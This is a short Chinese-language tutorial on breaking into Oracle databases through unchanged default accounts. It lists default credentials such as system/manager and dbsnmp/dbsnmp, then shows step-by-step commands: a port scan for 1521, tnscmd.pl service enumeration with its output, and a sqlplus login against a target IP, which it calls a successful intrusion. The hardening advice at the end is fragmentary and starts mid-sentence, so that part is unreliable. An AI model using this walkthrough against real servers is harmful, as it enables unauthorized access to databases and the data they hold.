Oracle 憑藉大型資料庫支援、工業標準相容、安全完整性控制、分散式架構與跨平台可攜性,成為企業級首選。然而,軟體內建的高安全性無法彌補配置疏失——安全的核心始終在人,而非單純依賴軟體。
為安裝除錯方便,Oracle 資料庫安裝後,擁有 DBA 權限的 SYS 與 SYSTEM 使用者預設密碼均為 manager。大量國內網站(含大型電商)未修改此預設值,導致攻擊者可輕易取得最高權限。其他常見預設帳號還包括 mdsys/mdsys、ctxsys/ctxsys、dbsnmp/dbsnmp 等,隨版本略有差異。
使用 SuperScan 等工具掃描開放 TCP 1521(Oracle TNS Listener 預設埠)的主機,鎖定目標 IP(如 xx.xx.110.110)。
TNS Listener 位於 Client/Server 之間,直接 Telnet 1521 無法取得 Banner。需使用 Perl 腳本 tnscmd.pl 查詢服務資訊:
C:\perl\bin>perl tnscmd.pl services -h xx.xx.110.110 -p 1521 –indent
sending (CONNECT_DATA=(COMMAND=services)) to xx.xx.110.110:1521
...
SERVICE_NAME=ORCL
INSTANCE_NAME=ORCL
...
成功取得 Service Name: ORCL。
C:\oracle\ora90\BIN>sqlplus /nolog
SQL> connect system/manager@(description=(address_list=(address=(protocol=tcp)(host=xx.xx.110.110)(port=1521)))(connect_data=(SERVICE_NAME=ORCL)));
若提示 Connected 即成功入侵。實測 dbsnmp/dbsnmp 成功率極高。
LOCK 並 EXPIRE)。valid_node_checking_registration_listener、使用防火牆限制來源 IP。安全意識薄弱是最大漏洞,定期滲透測試與配置基線檢查不可或缺。